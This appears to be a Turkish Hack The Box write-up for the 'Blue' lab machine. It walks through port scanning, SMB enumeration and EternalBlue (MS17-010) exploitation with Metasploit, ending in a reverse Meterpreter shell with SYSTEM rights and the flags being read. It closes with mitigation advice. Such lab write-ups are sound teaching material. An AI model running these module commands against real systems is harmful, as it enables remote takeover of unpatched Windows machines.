Hack The Box – Blue Write-Up | MS17-010 (EternalBlue) ile SYSTEM Erişimi

Bu yazımda Hack The Box platformunda bulunan Blue makinesinin çözümünü ele alacağım.
Blue, Windows 7 üzerinde çalışan ve SMB protokolündeki MS17-010 güvenlik açığını barındıran bir makine. Bu laboratuvarda amacım hedef sistemi keşfetmek, açık servisleri incelemek, EternalBlue zafiyetini istismar ederek sisteme erişmek ve user/root flag dosyalarına ulaşmak.
Her zamanki gibi ilk olarak hedef makinedeki açık portları ve bu portlarda çalışan servisleri tespit etmek için Rustscan ve Nmap kullandım.
nmap -sV -sC -p135,139,445,49152,49153,49154,49155,49156,49157 blue.htbBurada kullandığım parametreler:
-sV: Açık portlarda çalışan servislerin sürümlerini tespit eder.
-sC: Nmap'in varsayılan NSE scriptlerini çalıştırır.
-p: Taramak istediğim portları belirtir.
Tarama sonucunda dikkatimi çeken bilgiler şunlardı:


Özellikle 445 numaralı portta şu bilgiyi gördüm:
Windows 7 Professional 7601 Service Pack 1Bu bilgi benim için önemliydi. Çünkü hedef sistem Windows 7 SP1 çalıştırıyordu ve 445 numaralı port üzerinden SMB servisi erişilebilir durumdaydı.
Windows 7'nin bu sürümü, gerekli güvenlik güncellemeleri yapılmadığında MS17-010 zafiyetinden etkilenebiliyor.
Ancak burada dikkat edilmesi gereken bir nokta var: 445 portunun açık olması tek başına sistemin zafiyet içerdiği anlamına gelmez. Bunun için ayrıca güvenlik açığı kontrolü yapmamız gerekiyor.
SMB (Server Message Block), Windows sistemlerinde dosya, klasör ve yazıcı gibi kaynakların ağ üzerinden paylaşılmasını sağlayan bir protokoldür.
Hedef sistemde SMB servisi açık olduğu için öncelikle paylaşımları incelemek istedim.

Burada:
-L: SMB paylaşımlarını listeler.
-N: Parola istemeden bağlantı denemesi yapar.
Bu komut sayesinde hedef sistemin kimlik doğrulaması olmadan hangi SMB paylaşım bilgilerini sunduğunu kontrol edebiliyoruz.
SMB servisinin açık olması, işletim sistemi sürümüyle birlikte değerlendirildiğinde MS17-010 zafiyetini araştırmak için iyi bir başlangıç noktası oluşturuyordu.
MS17-010, Microsoft'un Mart 2017'de yayımladığı ve SMBv1 protokolündeki kritik güvenlik açıklarını ele alan güvenlik bültenidir.
Bu açıklardan yararlanan en bilinen exploit ise EternalBlue olarak adlandırılıyor.
EternalBlue, savunmasız Windows sistemlerinde uzaktan kod çalıştırılmasına olanak sağlayabiliyor.
Bu zafiyetin bu kadar tanınmasının önemli nedenlerinden biri de Mayıs 2017'de ortaya çıkan WannaCry fidye yazılımı saldırısı.
WannaCry, MS17-010 kapsamındaki açıklardan yararlanarak ağ üzerindeki savunmasız Windows sistemlerine yayılabiliyordu.
Biz de bu laboratuvarda aynı güvenlik açığının kontrollü bir sızma testi ortamında nasıl istismar edilebildiğini inceleyeceğiz.
Hedef makinenin işletim sistemi ve SMB servisi hakkında bilgi topladıktan sonra Metasploit Framework'ü başlattım.

Ardından MS17-010 ile ilgili modülleri aradım.

Metasploit içerisinde bu güvenlik açığına yönelik hem tarama hem de istismar modülleri bulunuyor.
Öncelikle zafiyet kontrolü için aşağıdaki modül kullanılabilir:
use auxiliary/scanner/smb/smb_ms17_010Hedef IP adresini tanımladım.
set RHOSTS 10.129.88.167Ardından taramayı başlattım.
runBu modül, hedef sistemin MS17-010 güvenlik açığına karşı savunmasız olup olmadığını kontrol etmek için kullanılıyor.

Zafiyet doğrulandıktan sonra istismar aşamasına geçebiliriz.
Metasploit içerisinde EternalBlue modülünü seçtim.
use exploit/windows/smb/ms17_010_eternalblueHedef sistemin IP adresini ayarladım.
set RHOSTS 10.129.88.167Daha sonra kendi Kali Linux makinemin HTB VPN bağlantısında kullandığı IP adresini kontrol ettim.
ip -4 addr show tun0Metasploit'te bağlantı için kullanılacak arayüzü tanımladım.
set LHOST tun0Buradaki RHOSTS hedef makineyi, LHOST ise ters bağlantının ulaşacağı yerel adresi belirtir.
Ayarları kontrol etmek için:
show optionsArdından exploit'i çalıştırıyoruz.
runBaşarılı bir istismar sonrasında Metasploit üzerinde bir Meterpreter oturumu açılabilir.
Meterpreter session 1 opened
meterpreter >Bu oturum sayesinde hedef Windows sistemi üzerinde komut çalıştırabiliyoruz.

Meterpreter oturumu elde ettikten sonra ilk kontrol etmek istediğim şey hangi kullanıcı yetkileriyle işlem yaptığımdı.
Bunun için:
getuidEternalBlue istismarında elde edilebilen yetki:

NT AUTHORITY\SYSTEM, Windows işletim sistemindeki en yüksek ayrıcalıklı güvenlik bağlamlarından biridir.
Linux sistemlerinde root kullanıcısına benzer şekilde, Windows üzerinde de SYSTEM hesabı çok yüksek yetkilere sahiptir.
Bu noktada önemli olan, herhangi bir kullanıcı parolasını ele geçirmeden, SMB servisindeki güvenlik açığı nedeniyle yüksek yetkili komut çalıştırma imkânı elde edilebilmesidir.
Bu aynı zamanda Blue makinesinin en önemli noktalarından biri. Başarılı bir EternalBlue istismarı SYSTEM yetkisi sağladığı için ayrıca bir privilege escalation aşamasına ihtiyaç duyulmayabilir.
Sistem üzerinde oturum elde ettikten sonra ilk hedefimiz user flag dosyasına ulaşmak.
Meterpreter oturumundan Windows komut satırına geçmek için:
shellArdından hedef sistemde bulunan kullanıcı klasörlerini listeleyebiliriz.
dir C:\UsersBlue makinesinde ilgilendiğimiz kullanıcı haris.
Bu nedenle kullanıcının masaüstünü kontrol ediyoruz.
dir C:\Users\haris\DesktopUser flag dosyasını okumak için:
type C:\Users\haris\Desktop\user.txtBu dosyada bulunan flag değeri Hack The Box platformundaki User Flag alanına giriliyor.

User flag aşamasından sonra sıra root flag dosyasına geliyor.
Blue bir Windows makinesi olduğu için burada Linux'taki root hesabı yerine Windows'un Administrator ve SYSTEM yetkileriyle ilgileniyoruz.
Eğer Meterpreter oturumunda getuid komutu SYSTEM yetkisini doğruladıysa Administrator kullanıcısının masaüstünü inceleyebiliriz.
dir C:\Users\Administrator\DesktopRoot flag dosyasını okumak için:
type C:\Users\Administrator\Desktop\root.txtDosyada bulunan flag değerini de HTB platformuna girerek makinenin son aşamasını tamamlayabiliriz.

Blue makinesi, özellikle Windows ortamlarında SMB güvenliğinin neden önemli olduğunu anlamak açısından faydalı bir laboratuvar.
Burada benim için önemli olan yalnızca EternalBlue exploit'ini çalıştırmak değil, zafiyetin ortaya çıkmasına neden olan koşulları da anlayabilmekti.
Örneğin 445 portunun açık olması tek başına bir güvenlik açığı anlamına gelmiyor. Ancak SMB servisinin sürümü, işletim sisteminin güncelleme durumu ve bilinen CVE kayıtları birlikte değerlendirildiğinde potansiyel saldırı yüzeyini daha doğru analiz edebiliyoruz.
Aynı zamanda bu laboratuvar sayesinde şu konuları tekrar etmiş oldum:
Nmap ile port ve servis keşfi
SMB protokolü ve Windows ağ servisleri
MS17-010 güvenlik açığı
EternalBlue exploit mekanizması
Metasploit Framework kullanımı
Meterpreter oturumları
Windows SYSTEM yetkileri
Windows dosya sistemi üzerinde gezinme
Blue, Windows sistemlerde yamalanmamış kritik bir güvenlik açığının ne kadar ciddi sonuçlar doğurabileceğini gösteren iyi bir örnek.
Özellikle MS17-010 gibi uzaktan kod çalıştırmaya olanak sağlayan açıklarda, saldırganın geçerli bir kullanıcı hesabına sahip olmadan sistem üzerinde yüksek yetkilerle işlem yapabilmesi oldukça önemli bir risk.
Savunma tarafında ise SMBv1 kullanımının kaldırılması, güvenlik güncellemelerinin uygulanması ve 445 numaralı porta erişimin yalnızca gerekli ağlarla sınırlandırılması bu tür saldırıların önlenmesinde önemli rol oynuyor.
Bir sonraki Hack The Box çözümünde görüşmek üzere 🌸







